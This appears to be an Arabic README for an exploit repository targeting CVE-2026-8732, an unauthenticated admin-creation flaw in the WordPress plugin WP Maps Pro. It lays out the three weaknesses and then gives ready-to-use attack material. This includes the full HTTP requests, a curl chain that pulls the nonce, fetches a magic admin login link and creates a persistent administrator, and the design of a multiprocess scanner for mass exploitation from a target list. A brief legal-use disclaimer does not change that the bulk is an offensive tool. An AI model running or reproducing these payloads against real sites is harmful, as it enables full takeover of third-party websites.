
استغلال آلي من 8 مراحل لـ CVE-2026-8732، وهو تصعيد امتيازات غير مصادق عليه في WP Maps Pro ≤ 6.1.0. يستخدم المعالجة المتعددة و asyncio لمسح الأهداف، واستخراج nonces، وإنشاء حسابات إدارية.
أتمتة استغلال من 8 مراحل | تعدد العمليات + Asyncio | إنشاء مدير موثَّق
إضافة ووردبريس WP Maps Pro الإصدار ≤ 6.1.0 تحتوي على ثغرة تصعيد صلاحيات بدون مصادقة. يمكن للمهاجم دون أي بيانات اعتماد إنشاء حساب مدير والاستيلاء الكامل على الموقع.
تنشأ الثغرة من ميزة "الوصول المؤقت" (Temporary Access) المصممة لفريق دعم البائع FlipperCode، لكنها مكشوفة للعامة دون حماية كافية.
┌──────────────────────────────────────────────────────────────┐
│ الضعف 1 — نقطة نهاية مكشوفة بدون مصادقة │
│ ▸ إجراء AJAX مسجل باستخدام wp_ajax_nopriv_ │
│ ▸ يمكن لأي شخص الوصول دون تسجيل الدخول │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ الضعف 2 — تسريب Nonce في الصفحات العامة │
│ ▸ كائن wpgmp_local.nonce مضمن في كل صفحة │
│ ▸ يمكن للمهاجم استخراج nonce من مصدر HTML │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ الضعف 3 — لا يوجد فحص صلاحيات │
│ ▸ دالة الاستدعاء تتحقق فقط من nonce │
│ ▸ لا يوجد current_user_can() — لا يوجد دفاع إضافي │
└──────────────────────────────────────────────────────────────┘
┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ المرحلة │──▶│ المرحلة │──▶│ المرحلة │──▶│ المرحلة │
│ 1 │ │ 2 │ │ 3 │ │ 4 │
│ الحل │ │ التحقق │ │ الكشف │ │ الإصدار │
│ HTTPS? │ │ من WP │ │ عن │ │ ≤6.1.0? │
│ HTTP? │ │ wp-content│ │ الإضافة │ │ WAF? │
│ │ │ wp-login │ │ wpgmp_ │ │ │
└─────────┘ └──────────┘ └──────────┘ └─────┬────┘
│ ضعيف
▼
┌──────────────────────────────────────────────────────────┐
│ المرحلة 5 — استخراج Nonce │
│ │
│ المجموعة أ (API) المجموعة ب (محتوى) المجموعة ج │
│ ├─ M1: صفحات REST ├─ M4: خريطة الموقع └─ M7: │
│ ├─ M2: بحث REST ├─ M5: روابط الصفحة تخمين │
│ └─ M3: rest_route └─ M6: خلاصة RSS/Atom المسار │
│ بالقوة │
│ │
│ الهدف: wpgmp_local.nonce = "fc-call-nonce" │
└──────────────────────────┬───────────────────────────────┘
│ تم العثور على Nonce
▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ المرحلة │──▶│ المرحلة │──▶│ المرحلة │
│ 6 │ │ 7 │ │ 8 │
│ الاستغلال│ │ التحقق │ │ إضافة │
│ POST AJAX│ │ رابط سحري│ │ مدير دائم│
│ nonce+ │ │ Cookie │ │ REST API │
│ check_ │ │ login │ │ نموذج │
│ temp=false│ │ التحقق │ │ WP-Admin │
└──────────┘ └──────────┘ └──────────┘
│
▼
✅ تم إنشاء المدير
تسجيل الدخول: wp_xxxx / كلمة مرور
الدور: administrator
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax
nonce=<NONCE المستخرج>
check_temp=false
الرد إذا كان الهدف ضعيفاً:
{"url":"https://target.com/?wpgmp_access=abc123def456"}
هذا الرابط السحري يمنح تسجيل دخول تلقائي باسم
fc_user_XXXXX(الدور: administrator).
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json
{
"username": "wp_xxxxxxxx",
"email": "user@localhost",
"password": "Str0ng!Pass#2026",
"roles": ["administrator"]
}
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [كوكيز المدير]
Content-Type: application/x-www-form-urlencoded
user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1 <-- مفتاح: تأكيد كلمة المرور الضعيفة
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>
نقطة مهمة: يجب تضمين
pw_weak=1— ووردبريس يرفض كلمة المرور الضعيفة بدون هذه المعلمة.
CVE-2026-8732.py
│
├── 📦 باحث Nonce — يبحث عن nonce بـ 7 طرق
│ ├── المجموعة أ (API): M1 صفحات REST، M2 بحث REST، M3 rest_route
│ ├── المجموعة ب (محتوى): M4 خريطة الموقع، M5 روابط الصفحة الرئيسية، M6 خلاصة RSS
│ └── المجموعة ج (قوة): M7 تخمين المسار (أكثر من 30 مساراً شائعاً)
│
├── ⚔️ المستغل — محرك استغلال من 8 مراحل
│ ├── resolve() → المرحلة 1: اختيار البروتوكول
│ ├── check_wp() → المرحلة 2: التحقق من ووردبريس
│ ├── detect_plugin() → المرحلة 3: كشف الإضافة + nonce مبكر
│ ├── detect_version() → المرحلة 4: كشف الإصدار + WAF
│ ├── exploit() → المرحلة 6: الاستغلال الأساسي
│ ├── verify() → المرحلة 7: التحقق من دخول المدير
│ └── add_admin() → المرحلة 8: إضافة مدير دائم
│
├── 🔧 عملية العامل — عمليات متعددة
│ ├── producer() → قراءة النطاق من mp.Queue
│ └── consumer() (N) → تنفيذ المسح المتوازي
│
└── 🖥️ الماسح — واجهة المستخدم
├── single() → وضع هدف واحد (تفاعلي)
└── multi() → وضع أهداف متعددة (جماعي)
targets.txt mp.Queue (مهام) asyncio.Queue
┌─────────┐ ┌─────────────────┐ ┌──────────────────┐
│ domain1 │───▶│ قائمة النطاقات │───▶│ قائمة داخلية │
│ domain2 │ │ (IPC بين │ │ (لكل عملية) │
│ domain3 │ │ العمليات) │ └────────┬─────────┘
│ ... │ └─────────────────┘ │
└─────────┘ ┌─────────▼──────────┐
│ المستهلكون (N) │
│ Exploiter.scan() │
│ 8 مراحل كاملة │
└─────────┬──────────┘
│
┌─────────▼──────────┐
│ mp.Queue (نتائج) │──▶ vuln.txt
│ + JSON + TXT │ + debug.log
└────────────────────┘
pip install aiohttp
python3 CVE-2026-8732.py
[?] اختر الوضع:
1. هدف واحد
2. أهداف متعددة (قائمة ملف)
> 1
[?] النطاق المستهدف (بدون http/https): target.com
[?] المهلة [الافتراضي: 15]: 15
python3 CVE-2026-8732.py
[?] اختر الوضع:
1. هدف واحد
2. أهداف متعددة (قائمة ملف)
> 2
[?] مسار ملف الأهداف (.txt): targets.txt
[?] عدد العمليات [الافتراضي: 10]: 10
[?] التزامن لكل عملية [الافتراضي: 50]: 50
[?] المهلة لكل طلب [الافتراضي: 10]: 10
[?] ملف الإخراج [الافتراضي: vuln.txt]: vuln.txt
[?] وضع التصحيح؟ (y/n) [الافتراضي: n]: y
# الخطوة 1: استخراج nonce من صفحة الواجهة الأمامية
NONCE=$(curl -sk https://target.com/ | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]{10}')
echo "Nonce: $NONCE"
# الخطوة 2: إرسال حمولة الاستغلال
RESPONSE=$(curl -sk -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=wpgmp_temp_access_ajax&nonce=$NONCE&check_temp=false")
echo "Response: $RESPONSE"
# الخطوة 3: الوصول إلى الرابط السحري لتسجيل الدخول كمدير
MAGIC_URL=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['url'])")
curl -sk -L -c cookies.txt "$MAGIC_URL"
# الخطوة 4: التحقق من صلاحية المدير
curl -sk -b cookies.txt https://target.com/wp-admin/profile.php | grep 'id="user_login"'
# الخطوة 5: إنشاء مدير دائم عبر REST API أو نموذج WP-Admin
يتم إنشاء المدير إذا وفقط إذا تحقق الشرطان التاليان:
┌───────────────┐ ┌───────────────┐
│ الشرط 1 │ AND│ الشرط 2 │
│ الإصدار ≤6.1.0│ │ GOLD نشط │
│ │ │ │
└───────┬───────┘ └───────┬───────┘
│ │
▼ ▼
إجراء nopriv WPGMP_Temp_
لا يزال مسجلاً Access متاح
│ │
└────────┬─────────┘
▼
✅ تم إنشاء المدير
| إذا فشل الشرط | النتيجة |
|---|---|
| الإصدار ≥ 6.1.1 | ❌ مُصحَّح — تمت إزالة إجراء wp_ajax_nopriv_ |
| GOLD غير نشط | ⚠️ انهيار PHP — الفئة WPGMP_Temp_Access غير موجودة |
CVE-2026-8732/
├── CVE-2026-8732.py # سكربت الاستغلال التلقائي
├── README.md # توثيق المشروع (هذا الملف)
└── LICENSE # رخصة MIT
إذا كنت مالك موقع يستخدم WP Maps Pro:
admin-ajax.phpMIT License
Copyright (c) 2026 XENON1337
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
هذه الأداة مخصصة للاستخدام القانوني فقط. استخدمها فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. الاستخدام بدون إذن غير قانوني وغير أخلاقي. الكاتب غير مسؤول عن أي إساءة استخدام لهذه الأداة.
تم الإنشاء بواسطة XENON1337
| المعلومات | التفاصيل |
|---|
| CVE | CVE-2026-8732 |
| CVSS | 9.8 (حرج) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| الإضافة | WP Maps Pro (wp-google-map-gold) |
| البائع | FlipperCode |
| الإصدارات المتأثرة | ≤ 6.1.0 |
| الإصدار المُصحَّح | 6.1.1 |
| النوع | فقدان المصادقة لوظيفة حرجة (CWE-306) |
| التأثير | إنشاء مدير بدون مصادقة → سيطرة كاملة على الموقع |
| كاتب الإثبات | XENON1337 |
| المرحلة | الاسم | الوظيفة | الطلبات |
|---|
| 1 | الحل | اختيار HTTPS/HTTP بالتوازي | 1 |
| 2 | التحقق من WP | التأكد من أن الهدف هو ووردبريس | 0 |
| 3 | الكشف عن الإضافة | فحص مؤشرات WP Maps في 3 طبقات | 0-4 |
| 4 | الإصدار + WAF | قراءة readme.txt / CSS ?ver= + كشف WAF | 1 |
| 5 | استخراج Nonce | 7 طرق بحث في 3 مجموعات متوازية | 0-150 |
| 6 | الاستغلال | POST إلى admin-ajax.php → إنشاء حساب مدير مؤقت | 1 |
| 7 | التحقق | الوصول إلى الرابط السحري → تأكيد جلسة المدير | 2 |
| 8 | إضافة مدير | REST API (رئيسي) + نموذج WP-Admin (احتياطي) | 4 |
| المكون | التقنية | الوظيفة |
|---|
| عميل HTTP | aiohttp | طلبات HTTP غير متزامنة مع تجميع الاتصالات |
| التوازي | asyncio + multiprocessing | عمليات متعددة + async لكل عملية |
| قوائم IPC | mp.Queue | التواصل بين العملية الرئيسية والعمال |
| الكوكيز | CookieJar(unsafe=True) | التعامل مع إعادة التوجيه عبر النطاقات |
| المهلة | asyncio.wait_for | حد زمني لكل هدف (25 ثانية) |